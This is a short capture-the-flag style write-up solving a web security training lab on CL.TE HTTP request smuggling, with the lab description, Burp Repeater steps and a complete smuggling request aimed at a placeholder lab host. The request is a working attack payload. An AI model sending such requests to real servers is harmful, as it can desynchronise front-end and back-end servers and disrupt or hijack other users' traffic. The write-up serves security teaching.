24.1 Lab: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses | 2024

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response | Karthikeyan Nagaraj

Description

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.

To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.

Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.

Solution

1. Go to Burp repeater and paste the following request.
2. Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the Request attributes section of the Inspector panel.
3. Send the request 2 times to solve the Lab

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X

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Author: Karthikeyan Nagaraj ~ Cyberw1ng